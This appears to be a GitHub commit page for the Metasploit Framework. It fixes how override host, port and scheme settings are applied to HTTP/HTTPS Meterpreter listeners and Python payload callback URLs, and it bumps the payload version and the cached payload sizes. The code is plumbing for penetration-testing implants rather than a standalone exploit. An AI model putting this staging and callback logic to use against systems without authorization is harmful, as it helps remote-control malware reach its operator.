Skip to content

Commit 6b216f2

Browse files
committed
Land rapid7#9290, Fix OverrideLHOST/LPORT with http/s Meterpreter payloads
2 parents fe4c701 + 3f6846c commit 6b216f2

File tree

9 files changed

+56
-71
lines changed

9 files changed

+56
-71
lines changed

Gemfile.lock

Lines changed: 2 additions & 2 deletions
Original file line numberDiff line numberDiff line change
@@ -17,7 +17,7 @@ PATH
1717
metasploit-concern
1818
metasploit-credential
1919
metasploit-model
20-
metasploit-payloads (= 1.3.19)
20+
metasploit-payloads (= 1.3.20)
2121
metasploit_data_models
2222
metasploit_payloads-mettle (= 0.3.2)
2323
msgpack
@@ -177,7 +177,7 @@ GEM
177177
activemodel (~> 4.2.6)
178178
activesupport (~> 4.2.6)
179179
railties (~> 4.2.6)
180-
metasploit-payloads (1.3.19)
180+
metasploit-payloads (1.3.20)
181181
metasploit_data_models (2.0.15)
182182
activerecord (~> 4.2.6)
183183
activesupport (~> 4.2.6)

lib/msf/core/handler/reverse_http.rb

Lines changed: 22 additions & 50 deletions
Original file line numberDiff line numberDiff line change
@@ -339,6 +339,13 @@ def on_request(cli, req)
339339

340340
self.pending_connections += 1
341341

342+
resp.body = ''
343+
resp.code = 200
344+
resp.message = 'OK'
345+
346+
url = payload_uri(req) + conn_id
347+
url << '/' unless url[-1] == '/'
348+
342349
# Process the requested resource.
343350
case info[:mode]
344351
when :init_connect
@@ -354,59 +361,27 @@ def on_request(cli, req)
354361
pkt.add_tlv(Rex::Post::Meterpreter::TLV_TYPE_TRANS_URL, conn_id + "/")
355362
resp.body = pkt.to_r
356363

357-
when :init_python, :init_native, :init_java
364+
when :init_python, :init_native, :init_java, :connect
358365
# TODO: at some point we may normalise these three cases into just :init
359-
url = payload_uri(req) + conn_id + '/'
360-
361-
# Damn you, python! Ruining my perfect world!
362-
url += "\x00" unless uuid.arch == ARCH_PYTHON
363-
uri = URI(payload_uri(req) + conn_id)
364-
365-
# TODO: does this have to happen just for windows, or can we set it for all?
366-
resp['Content-Type'] = 'application/octet-stream' if uuid.platform == 'windows'
367-
368-
begin
369-
blob = self.generate_stage(
370-
url: url,
371-
uuid: uuid,
372-
uri: conn_id
373-
)
374-
375-
blob = encode_stage(blob) if self.respond_to?(:encode_stage)
376-
377-
print_status("Staging #{uuid.arch} payload (#{blob.length} bytes) ...")
378-
379-
resp.body = blob
380-
381-
# Short-circuit the payload's handle_connection processing for create_session
382-
create_session(cli, {
383-
:passive_dispatcher => self.service,
384-
:conn_id => conn_id,
385-
:url => url,
386-
:expiration => datastore['SessionExpirationTimeout'].to_i,
387-
:comm_timeout => datastore['SessionCommunicationTimeout'].to_i,
388-
:retry_total => datastore['SessionRetryTotal'].to_i,
389-
:retry_wait => datastore['SessionRetryWait'].to_i,
390-
:ssl => ssl?,
391-
:payload_uuid => uuid
392-
})
393-
rescue NoMethodError
394-
print_error("Staging failed. This can occur when stageless listeners are used with staged payloads.")
395-
return
396-
end
397366

398-
when :connect
399-
print_status("Attaching orphaned/stageless session...")
367+
if info[:mode] == :connect
368+
print_status("Attaching orphaned/stageless session...")
369+
else
370+
begin
371+
blob = self.generate_stage(url: url, uuid: uuid, uri: conn_id)
372+
blob = encode_stage(blob) if self.respond_to?(:encode_stage)
400373

401-
resp.body = ''
374+
print_status("Staging #{uuid.arch} payload (#{blob.length} bytes) ...")
402375

403-
url = payload_uri(req) + conn_id
404-
url << '/' unless url[-1] == '/'
376+
resp['Content-Type'] = 'application/octet-stream'
377+
resp.body = blob
405378

406-
# Damn you, python! Ruining my perfect world!
407-
url += "\x00" unless uuid.arch == ARCH_PYTHON
379+
rescue NoMethodError
380+
print_error("Staging failed. This can occur when stageless listeners are used with staged payloads.")
381+
return
382+
end
383+
end
408384

409-
# Short-circuit the payload's handle_connection processing for create_session
410385
create_session(cli, {
411386
:passive_dispatcher => self.service,
412387
:conn_id => conn_id,
@@ -423,8 +398,6 @@ def on_request(cli, req)
423398
unless [:unknown_uuid, :unknown_uuid_url].include?(info[:mode])
424399
print_status("Unknown request to #{request_summary}")
425400
end
426-
resp.code = 200
427-
resp.message = 'OK'
428401
resp.body = datastore['HttpUnknownRequestResponse'].to_s
429402
self.pending_connections -= 1
430403
end
@@ -436,6 +409,5 @@ def on_request(cli, req)
436409
end
437410

438411
end
439-
440412
end
441413
end

lib/msf/core/payload/python/meterpreter_loader.rb

Lines changed: 7 additions & 10 deletions
Original file line numberDiff line numberDiff line change
@@ -1,6 +1,7 @@
11
# -*- coding: binary -*-
22

33
require 'msf/core'
4+
require 'msf/core/payload/transport_config'
45
require 'msf/base/sessions/meterpreter_options'
56
require 'msf/core/payload/uuid/options'
67

@@ -16,6 +17,7 @@ module Payload::Python::MeterpreterLoader
1617

1718
include Msf::Payload::Python
1819
include Msf::Payload::UUID::Options
20+
include Msf::Payload::TransportConfig
1921
include Msf::Sessions::MeterpreterOptions
2022

2123
def initialize(info = {})
@@ -106,17 +108,12 @@ def stage_meterpreter(opts={})
106108
# so we need to generate it
107109
# TODO: move this to somewhere more common so that it can be used across payload types
108110
unless opts[:url].to_s == ''
111+
112+
# Build the callback URL (TODO: share this logic with TransportConfig
109113
uri = "/#{opts[:url].split('/').reject(&:empty?)[-1]}"
110-
callback_url = [
111-
opts[:url].to_s.split(':')[0],
112-
'://',
113-
(ds['OverrideRequestHost'] == true ? ds['OverrideRequestLHOST'] : ds['LHOST']).to_s,
114-
':',
115-
(ds['OverrideRequestHost'] == true ? ds['OverrideRequestLPORT'] : ds['LPORT']).to_s,
116-
ds['LURI'].to_s,
117-
uri,
118-
'/'
119-
].join('')
114+
opts[:scheme] ||= opts[:url].to_s.split(':')[0]
115+
scheme, lhost, lport = transport_uri_components(opts)
116+
callback_url = "#{scheme}://#{lhost}:#{lport}#{ds['LURI']}#{uri}/"
120117

121118
# patch in the various payload related configuration
122119
met.sub!('HTTP_CONNECTION_URL = None', "HTTP_CONNECTION_URL = '#{var_escape.call(callback_url)}'")

lib/msf/core/payload/transport_config.rb

Lines changed: 20 additions & 4 deletions
Original file line numberDiff line numberDiff line change
@@ -36,13 +36,26 @@ def transport_config_bind_tcp(opts={})
3636

3737
def transport_config_reverse_https(opts={})
3838
ds = opts[:datastore] || datastore
39+
opts[:scheme] ||= 'https'
3940
config = transport_config_reverse_http(opts)
40-
config[:scheme] = ds['OverrideScheme'] || 'https'
4141
config[:ssl_cert_hash] = get_ssl_cert_hash(ds['StagerVerifySSLCert'],
4242
ds['HandlerSSLCert'])
4343
config
4444
end
4545

46+
def transport_uri_components(opts={})
47+
ds = opts[:datastore] || datastore
48+
scheme = opts[:scheme]
49+
lhost = ds['LHOST']
50+
lport = ds['LPORT']
51+
if ds['OverrideRequestHost']
52+
scheme = ds['OverrideScheme'] || scheme
53+
lhost = ds['OverrideLHOST'] || lhost
54+
lport = ds['OverrideLPORT'] || lport
55+
end
56+
[scheme, lhost, lport]
57+
end
58+
4659
def transport_config_reverse_http(opts={})
4760
# most cases we'll have a URI already, but in case we don't
4861
# we should ask for a connect to happen given that this is
@@ -55,10 +68,13 @@ def transport_config_reverse_http(opts={})
5568
end
5669

5770
ds = opts[:datastore] || datastore
71+
opts[:scheme] ||= 'http'
72+
scheme, lhost, lport = transport_uri_components(opts)
73+
5874
{
59-
scheme: ds['OverrideScheme'] || 'http',
60-
lhost: opts[:lhost] || ds['LHOST'],
61-
lport: (opts[:lport] || ds['LPORT']).to_i,
75+
scheme: scheme,
76+
lhost: lhost,
77+
lport: lport.to_i,
6278
uri: uri,
6379
ua: ds['HttpUserAgent'],
6480
proxy_host: ds['HttpProxyHost'],

metasploit-framework.gemspec

Lines changed: 1 addition & 1 deletion
Original file line numberDiff line numberDiff line change
@@ -70,7 +70,7 @@ Gem::Specification.new do |spec|
7070
# are needed when there's no database
7171
spec.add_runtime_dependency 'metasploit-model'
7272
# Needed for Meterpreter
73-
spec.add_runtime_dependency 'metasploit-payloads', '1.3.19'
73+
spec.add_runtime_dependency 'metasploit-payloads', '1.3.20'
7474
# Needed for the next-generation POSIX Meterpreter
7575
spec.add_runtime_dependency 'metasploit_payloads-mettle', '0.3.2'
7676
# Needed by msfgui and other rpc components

modules/payloads/singles/python/meterpreter_bind_tcp.rb

Lines changed: 1 addition & 1 deletion
Original file line numberDiff line numberDiff line change
@@ -11,7 +11,7 @@
1111

1212
module MetasploitModule
1313

14-
CachedSize = 57798
14+
CachedSize = 58390
1515

1616
include Msf::Payload::Single
1717
include Msf::Payload::Python

modules/payloads/singles/python/meterpreter_reverse_http.rb

Lines changed: 1 addition & 1 deletion
Original file line numberDiff line numberDiff line change
@@ -11,7 +11,7 @@
1111

1212
module MetasploitModule
1313

14-
CachedSize = 57762
14+
CachedSize = 58354
1515

1616
include Msf::Payload::Single
1717
include Msf::Payload::Python

modules/payloads/singles/python/meterpreter_reverse_https.rb

Lines changed: 1 addition & 1 deletion
Original file line numberDiff line numberDiff line change
@@ -11,7 +11,7 @@
1111

1212
module MetasploitModule
1313

14-
CachedSize = 57762
14+
CachedSize = 58354
1515

1616
include Msf::Payload::Single
1717
include Msf::Payload::Python

modules/payloads/singles/python/meterpreter_reverse_tcp.rb

Lines changed: 1 addition & 1 deletion
Original file line numberDiff line numberDiff line change
@@ -11,7 +11,7 @@
1111

1212
module MetasploitModule
1313

14-
CachedSize = 57714
14+
CachedSize = 58306
1515

1616
include Msf::Payload::Single
1717
include Msf::Payload::Python

0 commit comments

Comments
 (0)